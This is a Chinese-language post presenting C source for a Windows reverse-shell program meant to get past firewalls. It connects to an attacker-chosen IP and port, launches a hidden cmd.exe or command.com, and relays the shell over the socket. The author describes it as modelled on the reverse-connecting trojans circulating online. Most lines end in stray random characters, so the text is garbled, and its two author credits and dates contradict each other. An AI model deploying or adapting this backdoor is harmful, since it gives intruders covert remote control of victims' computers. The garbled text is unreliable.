这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :dSda,!z
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/* ============================== @vt.Db
Rebound port in Windows NT 9RJF
By wind,2006/7 DpT9"?g7
===============================*/ g|>LT_
#include 'k X8}bx
#include 4KM-$h,4O
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#pragma comment(lib,"wsock32.lib") H;1@]|sH#
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void OutputShell(); "0An'7'm
SOCKET sClient; __g
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %tyo(HZQ
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void main(int argc,char **argv) u=.8M`FxP
{ `5IrV&a
WSADATA stWsaData; i41~-?Bc
int nRet; <(xqw<)
SOCKADDR_IN stSaiClient,stSaiServer; y?<KN0j
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if(argc != 3) ^viabkf C
{ V\;Xa0
printf("Useage:\n\rRebound DestIP DestPort\n"); e7RgA1
return; K*>%,mP$i
} K oJ=0jM#
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WSAStartup(MAKEWORD(2,2),&stWsaData); t}YcB`q)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \VNu35* J|
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stSaiClient.sin_family = AF_INET; %f;dn<m=c
stSaiClient.sin_port = htons(0); hx:q@[ +J/
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M^o_='\bE
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fST.p|b7
{ $4nAb^/
printf("Bind Socket Failed!\n"); : {p'U2
return; KewW8H~tb
} =yf)Z^
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stSaiServer.sin_family = AF_INET; ]M7FIDg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (~GQncqa
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F8f}PV]b
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X-c|jn7
{ Y![Q1D!
printf("Connect Error!"); 7IX8ck[D
return; v>8C}d^
} @+gr/Pul^
OutputShell(); NKu[6J?)
} wjA
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void OutputShell() QyD0WC}i
{ t6DSZ^Zq
char szBuff[1024]; 3uLG$`N
SECURITY_ATTRIBUTES stSecurityAttributes; Q(bOar5
OSVERSIONINFO stOsversionInfo; pU$k{^'UK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $w0TEO!
STARTUPINFO stStartupInfo; @J[@Pu O
char *szShell; SqM>xm
PROCESS_INFORMATION stProcessInformation; 3UZd_?JI[^
unsigned long lBytesRead; x-BU$bx5
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XO+BZB`F
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Q{l,4P
stSecurityAttributes.lpSecurityDescriptor = 0; 4t,
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stSecurityAttributes.bInheritHandle = TRUE; aLa<zEssz
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2XP
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fiGTI}=P
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xfYKUOp/
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qs&;MW4q
stStartupInfo.wShowWindow = SW_HIDE; 'ygKP6M
stStartupInfo.hStdInput = hReadPipe; uo#1^`P
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J(7#yg%5
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GetVersionEx(&stOsversionInfo); m'rDoly"62
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switch(stOsversionInfo.dwPlatformId)
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{ EA"hie7
case 1: W$4$%r8
szShell = "command.com"; Coi[cfg0
break; mY"7/dw<v
default: 8 A>OQR
szShell = "cmd.exe"; )DgXsT
break; B7%K}|Qg
} 4ud(5m;Rle
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D=e*rrL7a
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send(sClient,szMsg,77,0); (GJtTp~2C4
while(1) _Mw3>GNl
{ D2$9$xeR
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eZ'8JU]
if(lBytesRead) L'+bVP{L
{ ]
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6/UOzV,[
send(sClient,szBuff,lBytesRead,0); `Fd
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} gRLt0&Q~
else ? i{?Q,
{ R"B{IWQi
lBytesRead=recv(sClient,szBuff,1024,0); 'S`l[L:.8
if(lBytesRead<=0) break; uNyU]@R<W
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AdDX_\V,*
} I\l&'Q^0@
} V*vQNPey
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return; 5X{|*?>T
}